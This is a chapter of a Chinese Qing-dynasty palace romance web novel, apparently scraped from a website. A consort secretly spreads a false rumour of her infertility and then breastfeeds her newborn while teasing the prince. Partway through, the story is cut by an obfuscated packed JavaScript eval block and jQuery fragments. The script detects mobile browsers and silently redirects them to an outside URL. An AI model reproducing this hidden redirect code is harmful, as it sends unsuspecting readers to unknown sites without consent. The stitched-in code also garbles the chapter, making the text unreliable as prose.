39. 不孕

作品:《四爷侧福晋(清)

    舒若菡到第二日中午才醒,是被饿醒的。


    吃完早早备好的药膳,舒若菡才感觉身体恢复一些;到傍晚,她早早吃过晚膳,很快又睡了。


    所以晚回来的四爷,没碰上她醒着的时候。看着她仍带疲惫的睡颜,四爷没吵醒她,静静看她一会,替她掖掖被角后离开了。


    四爷去唤来今日来请脉的太医,屏退左右,细细问了舒若菡产后的脉息与身子状况,直到太医再三回禀,说只是失血稍多、气血两虚,静养调理便可慢慢恢复,并无大碍,他才放太医离去。


    可这番情况,到了福晋与李氏耳中,却成了另一番说辞——说舒侧福晋这次生产时伤了根本,气血大亏,往后怕是再难有孕了,四爷不想她难过,不让这消息外传。


    这话自然不是真的。


    是舒若菡与琉璃几人,故意私传的。


    生下阿哥后,舒若菡心里便拿定了主意:往后有这个孩子傍身,便足够,往后若无意外,她不愿再受生育之苦。


    以后每一回房事后,都要悄悄避孕,护好自己的身子。


    近来因四爷对她的偏宠,府里明里暗里的眼刀早已攒了不少,现在她又生了阿哥,不满肯定更甚,故而在这时传出她“难再孕”的消息,既符合一半的事实,也能减少一些忌惮。


    琉璃几个伶俐,装作秘密私语,悄悄话“不慎”被福晋与李氏安插的眼线听见,不多时,便原原本本传回了正院与李氏院里。


    福晋与李氏初听之时,皆是半信半疑。


    可派人细细打探下来,却有很多细节能对上:舒若菡产后昏睡许久,起身便乏,精神萎靡,面色苍白,明显气血大亏;还说要坐满双月子静养,连孩子的满月酒都推了,只言等百日再大办,一切都透着身体抱恙的模样。


    这般一来,两人便信了七八分。


    往后岁月悠悠,一年又一年过去,四爷对舒若菡的恩宠不曾消减,但舒若菡的肚子却始终再无动静,她们便是原先还有的几分疑心,也在时光中消散了。


    不过那是后话,回到现在舒若菡坐双月子的事,她对四爷的说词是自己精神不济,想安安静静地多休养一段时日,而且孩子还太小,满月人来人往的喧闹,若是冲撞了风邪,反倒得不偿失。


    所以满月酒她便不想大办,想安安稳稳坐满双月子,大人小孩都多养养,待到百日宴再好好办一场,更稳妥。


    四爷本就心疼她生育一场辛苦,这般小事,无伤大雅,自然没有不依的道理。他不想依的,是舒若菡执意要亲自哺乳一事。


    那天他进来,撞见她在给孩子喂奶,吓了一跳,原本他听着屋里静悄悄的,以为她又睡了,所以轻手轻脚地进来,没想到看到这一幕。


    舒若菡也吓了一跳,手下意识一动,怀中孩子本正吃得安稳,被这么一晃,到嘴的奶没了,没吃饱的他立时瘪了嘴,哇哇大哭起来。


    舒若菡又慌乱又尴尬,连忙稳住臂弯,重新哄着孩子含住,然后忙不迭地侧过身去,背对着他,耳尖早已烧得通红,声音又轻又急:“你别看……快出去。”


    四爷却半步未退,径直走到床沿,眉头紧紧蹙起,语气里带着几分沉怒:“你怎亲自喂养?府里几个奶嬷嬷,都是摆设不成?”


    一旁侍立的奶嬷嬷吓得魂都飞了,“噗通”一声跪倒在地,连连请罪。


    舒若菡哪里肯让下人替她受过,忙解释道:“不关她们的事,是我自己要喂的。”


    她一边轻轻拍着怀中孩儿,一边低声解释:“产后亲自哺乳,能助子宫收缩,减少产后出血,身子反倒能恢复得更快。而且母亲的初乳对孩子更好,奶嬷嬷都是已经生产过的妇人了,我这样对母子两人都更好。”


    四爷难以赞同:“你身子更要紧,那么多孩子都是奶嬷嬷喂的,也健健康康地长大了,何必劳累你来喂?喂养孩子,身体的营养还要被孩子吸走一部分,又怎会让你身子恢复得更快?”


    “医书上确有这般记载,并非我胡言。喂孩子能平和我身体的阴阳。”舒若菡辩解道,“而且我的营养也是够的,我如今胃口比孕期好多了,每日各种药膳补着,三餐之外还特意加餐,调理得当,你放心吧。”


    “就是有一些东西不能吃,比如辛辣的,不过等到出月子,我身体恢复得差不多了,就不亲自喂他了,也不用忌口了,到时候就敞开了吃。”舒若菡笑道。


    但四爷皱起的眉峰难以松开:“可你刚生产完身子虚弱,精神不济,还去喂孩子,多辛苦啊?”


    “单是喂喂孩子有什么辛苦的,一次一刻钟左右就好了,就坐着抱抱他,不想抱也可以让嬷嬷抱着。而且我喂的也不多,主要还是倚仗嬷嬷们喂饱他,我一日其实只喂两三次罢了,我的……我的奶水不多。”


    说到最后一句,她声音放轻,那个“奶”字含在唇间,羞得小脸泛起薄红。


    四爷喉间轻咳一声,神色稍稍缓和,不再那般严肃,勉强松口道:“总之以你自身为重,你若感觉到哪里不舒服,就别再喂了,孩子还有嬷嬷可以喂养,你不必忧心,不许强撑,知道吗?”


    舒若菡柔声应下:“知道,我定会顾好自己的,你放心。”


    正好孩子吃饱了,她连忙拿过软巾擦拭干净,整理衣襟。


    安静侍立一旁的奶嬷嬷一直留意着这边,见状立即上前抱过孩子,让舒若菡空出手来穿好衣服。


    嬷嬷竖抱着孩子,让他头靠在她肩上,避免摇晃,然后轻轻拍着他的背部,帮忙排出胃内空气,可以减少孩子吐奶、胀气等问题。


    四爷看着舒若菡穿衣的动作,见她穿好衣服转身,小脸微红,不好意思看他,侧头盯着奶嬷嬷抱着的孩子,四爷就握住她的手,问:“这么喜欢孩子?”


    “我们的孩子,我当然喜欢,不过……”


    舒若菡犹豫了一下,还是凑到四爷耳边悄声道:“他有点丑,我看着好像没继承到我们俩的好样貌,我有些担心。”


    四爷闻言好笑:“孩子才刚出生,能看出来什么?以后他慢慢就长开了,我们的孩子,怎么会丑?”


    “小点声!”舒若菡立即看了一眼孩子,见他没反应,才放松道:“你别在孩子面前说那个字,有些说法是,你跟孩子念叨多了,孩子就往那边长了,而且他听到可能会不高兴的。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17364353|197210||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “孩子长什么样怎么可能因为话语改变,而且孩子现在听不懂这些。”


    “你又不是孩子,你怎么知道他听不懂。”


    “我也曾是孩子啊,你没有小时候吗?”四爷睨她一眼。


    “我有,但是太小的时候没有记忆,所以并不能佐证那时候听不听得懂。而且子非鱼,焉知鱼懂不懂。”舒若菡理所当然地道。


    就会狡辩,要不是顾忌她刚生产完,四爷都想敲她脑袋了。


    一旁的奶嬷嬷万万没想到,侧福晋和王爷是这种相处模式。


    她默默抱着孩子,努力降低自己的存在感,这会见他们安静,愈发感觉不自在,正好见孩子睡了,就轻声道:“王爷、侧福晋,孩子睡了,我抱他回房间?”


    才看了两三天,正是新鲜的时候,舒若菡还没稀罕够,因此轻声道:“不用,放我床上吧,我陪着他,你先下去休息吧,有事再叫你。”


    奶嬷嬷就把孩子轻柔地放到床上,让孩子睡在舒若菡旁边,然后躬身退到外间,静候吩咐。


    舒若菡和四爷安静地端详着孩子,她看着看着,忽然觉得孩子好像也没那么丑了,冒出一句:“这就是我生的孩子呀。”


    四爷温柔点头:“是的,是你生的,辛苦了。”


    “我生了个人,真神奇。”


    四爷无奈浅笑:“这是什么话,生的不是人还能是什么?”


    “我不是那个意思,我这是一种感慨,就是觉得很神奇的意思。”


    四爷浅浅“嗯”一声,表示理解。


    孩子不知道是不是也觉得好笑,还是梦见什么有趣的事了,突然咧嘴笑了一下,露出没有牙齿的牙龈。


    舒若菡有些惊奇:“你看他笑了!”


    “嗯,可爱。”


    “你看他咧开的小嘴,只有粉粉的牙龈,这就是‘无齿之徒’吧。”


    “什么?”四爷有些不可置信自己听到了什么。


    “就是说他是没有牙齿的人而已啦。”


    “他还小,没到长牙齿的时间。”


    “我当然知道啊。”


    “乱用成语,别教坏了孩子。”


    “他现在还小,不懂这些,大了你再好好教,‘养不教,父之过’。”


    “刚才谁说孩子可能听得懂的?现在还倒打一耙了?”四爷瞥她一眼。


    舒若菡低头假装听不懂,憋笑不说话。


    四爷轻哼一声,不和她计较。


    小家伙正是吃饱就睡的年纪,这会睡得香甜,双眸闭着,小手攥成拳头放在脸下面。


    舒若菡轻轻躺低一些,离孩子更近,然后伸手轻轻拿起他的一个小拳头,见他没反应,还熟睡着,放心下来,然后对比着自己的手和他的小手,低声感叹:“他的手好小啊!”


    舒若菡看了一眼四爷的手道:“原本牵你的手的时候,我觉得自己的手又小又白的,现在牵他的手,倒显得我的手很大了。不过他现在还没完全退红,我的手还是比他白。”


    四爷弯唇,伸手握住她另一只手:“嗯,你白。”


    她还是这么鲜活,真好。